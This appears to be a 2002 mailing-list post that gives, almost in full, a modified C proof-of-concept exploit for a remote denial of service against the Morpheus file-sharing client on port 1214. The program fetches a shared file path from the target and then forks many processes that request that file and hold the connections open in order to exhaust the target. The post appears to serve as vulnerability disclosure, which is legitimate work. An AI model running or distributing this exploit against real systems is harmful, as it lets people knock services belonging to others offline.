I modify the code, i cut the port arg " 1214". /*--------------------------------------------------------------------------- Web: http://qb0x.net Author: Gabriel A. Maggiotti Date: Febrary 07, 2002 E-mail: gmaggiotat_private --------------------------------------------------------------------------- General Info ------------ Problem Type : Request share files Deny of Service Product : Morpheus Scope : Remote Risk : Low */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <netdb.h> #include <sys/types.h> #include <netinet/in.h> #include <sys/socket.h> #include <sys/wait.h> #include <unistd.h> #include <fcntl.h> #define MAX 1000 #define PORT 1214 /***************************************************************************/ int main(int argc,char *argv[]) { int sockfd, numbytes; char receive[MAX]; char *top, *botton; int i; int loop; struct hostent *he; struct sockaddr_in their_addr; if(argc!=3) { fprintf(stderr,"usage:client hostname "\ " [cant of loops]\n"); exit(1); } if((he=gethostbyname(argv[1]))==NULL) { perror("gethostbyname"); exit(1); } loop=atoi(argv[2]); if( (sockfd=socket(AF_INET,SOCK_STREAM,0)) == -1) { perror("socket"); exit(1); } their_addr.sin_family=AF_INET; their_addr.sin_port=htons(PORT); their_addr.sin_addr=*((struct in_addr*)he->h_addr); bzero(&(their_addr.sin_zero),8); if( connect(sockfd,(struct sockaddr*)&their_addr,\ sizeof(struct sockaddr))==-1) exit(1); if(send(sockfd,"GET / HTTP/1.0\n\n",16,0) ==-1) { perror("send"); exit(0); } if( (numbytes=recv(sockfd,receive,MAX,0))==-1 ) { perror("recv"); exit(1); } receive[numbytes]='\0'; botton=strstr(receive,"href=\""); botton=botton+6; top=strchr(botton,'"'); *top = '\0'; sprintf(receive,"GET %s HTTP/1.0\n\n",botton); printf("file: %s",receive); close(sockfd); sleep(1); /***************************************************************************/ for(i=0; i<loop; i++) { if( fork()!=0) { if( (sockfd=socket(AF_INET,SOCK_STREAM,0)) == -1) { perror("socket"); exit(1); } if( connect(sockfd,(struct sockaddr*)&their_addr,\ sizeof(struct sockaddr))==-1) exit(1); if(send(sockfd,receive,strlen(receive),0) ==-1) { perror("send"); exit(0); } sleep(1000); close(sockfd); exit(0); } } printf("Done...\n"); return 0; }
This archive was generated by hypermail 2b30 : Wed Feb 06 2002 - 18:46:17 PST